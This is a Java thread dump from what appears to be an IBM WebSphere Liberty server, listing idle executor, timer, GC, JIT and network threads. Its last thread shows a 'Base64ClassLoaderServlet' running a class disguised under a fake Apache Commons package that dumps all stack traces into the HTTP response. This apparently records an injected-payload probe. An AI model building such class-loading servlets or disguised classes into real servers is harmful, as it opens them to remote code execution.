java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Default Executor-thread-18" #71 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c254df08
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-1" #47 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a319b15b
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Signal Dispatcher" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at com.ibm.misc.SignalDispatcher.waitForSignal(Native Method)
|
||||
at com.ibm.misc.SignalDispatcher.run(SignalDispatcher.java:73)
|
||||
|
||||
"GC Slave" #20 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Slave" #22 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Slave" #21 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"GC Slave" #16 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-11" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@94ad3669
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"GC Slave" #24 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"JIT Compilation Thread-5 Suspended" #9 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"JIT Compilation Thread-0" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Timer-1" #31 [TIMED_WAITING] on java.util.TaskQueue@fc230662
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"JIT Compilation Thread-2 Suspended" #6 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Bundle File Closer" #49 daemon [TIMED_WAITING] on org.eclipse.osgi.storage.bundlefile.ZipBundleFile@3c7c8ade
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at org.eclipse.osgi.storage.bundlefile.ZipBundleFile.close(ZipBundleFile.java:311)
|
||||
at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:178)
|
||||
at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:1)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:340)
|
||||
|
||||
"process reaper" #62 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@e9523894
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:471)
|
||||
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:373)
|
||||
at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:952)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-13" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6be575c7
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"IProfiler" #13 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"JIT Compilation Thread-1 Suspended" #5 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Config-Thread-12" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2596ef86
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:478)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-22" #77 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@46f4f614
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-17" #70 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@aa2fc3fa
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-3" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e7f4910a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-19" #72 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d386e142
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Timer-4" #68 daemon [TIMED_WAITING] on java.util.TaskQueue@7ec7f87
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Framework Event Dispatcher: org.eclipse.osgi.internal.framework.EquinoxEventPublisher@6840e7d3" #34 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@555dbb98
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336)
|
||||
|
||||
"GC Slave" #17 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"JIT-SamplerThread" #12 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
|
||||
"GC Slave" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"kernel-command-listener" #36 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:478)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:287)
|
||||
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:337)
|
||||
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.access$100(ServerCommandListener.java:43)
|
||||
at com.ibm.ws.kernel.launch.internal.ServerCommandListener$2.run(ServerCommandListener.java:318)
|
||||
|
||||
"Inbound Read Selector.1" #56 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"ClassloaderMapProcessingThread-20" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8a993603
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"GC Slave" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Shared TCPChannel NonBlocking Accept Thread" #58 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Scheduled Executor-thread-1" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15fbddec
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6a301c2
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@ba1d8a91
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:81)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"JIT Diagnostic Compilation Thread-7 Suspended" #11 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-21" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@875944b8
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Executor Service Control Timer" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@62d5a6bb
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Default Executor-thread-10" #61 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@82134d3b
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Inbound Write Selector.1" #79 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-4" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@4aff664a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"JIT Compilation Thread-6 Suspended" #10 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Start Level: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #38 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@b5c4138
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336)
|
||||
|
||||
"Attach API wait loop" #28 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at com.ibm.tools.attach.target.IPC.waitSemaphore(Native Method)
|
||||
at com.ibm.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:254)
|
||||
at com.ibm.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66)
|
||||
at com.ibm.tools.attach.target.WaitLoop.run(WaitLoop.java:154)
|
||||
|
||||
"Inbound Read Selector.1" #78 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-20" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@3ec5b3bd
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"JIT Compilation Thread-4 Suspended" #8 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Timer-2" #39 daemon [WAITING] on java.util.TaskQueue@946ab4b7
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:537)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Default Executor-thread-14" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a1e93e55
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"JIT Compilation Thread-3 Suspended" #7 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"MemoryMXBean notification dispatcher" #40 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at com.ibm.lang.management.internal.MemoryNotificationThread.processNotificationLoop(Native Method)
|
||||
at com.ibm.lang.management.internal.MemoryNotificationThread.run(MemoryNotificationThread.java:183)
|
||||
|
||||
"Default Executor-thread-8" #59 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.getStackTrace(Thread.java:1154)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1182)
|
||||
at org.apache.commons.caDSW.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:3422)
|
||||
at java.io.PrintWriter.print(PrintWriter.java:627)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1255)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:743)
|
||||
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:440)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
||||
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
|
||||
at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56)
|
||||
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:996)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1134)
|
||||
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1005)
|
||||
at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75)
|
||||
at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83)
|
||||
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:927)
|
||||
at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1023)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:417)
|
||||
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:376)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:532)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:466)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:331)
|
||||
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:302)
|
||||
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:165)
|
||||
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:74)
|
||||
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:501)
|
||||
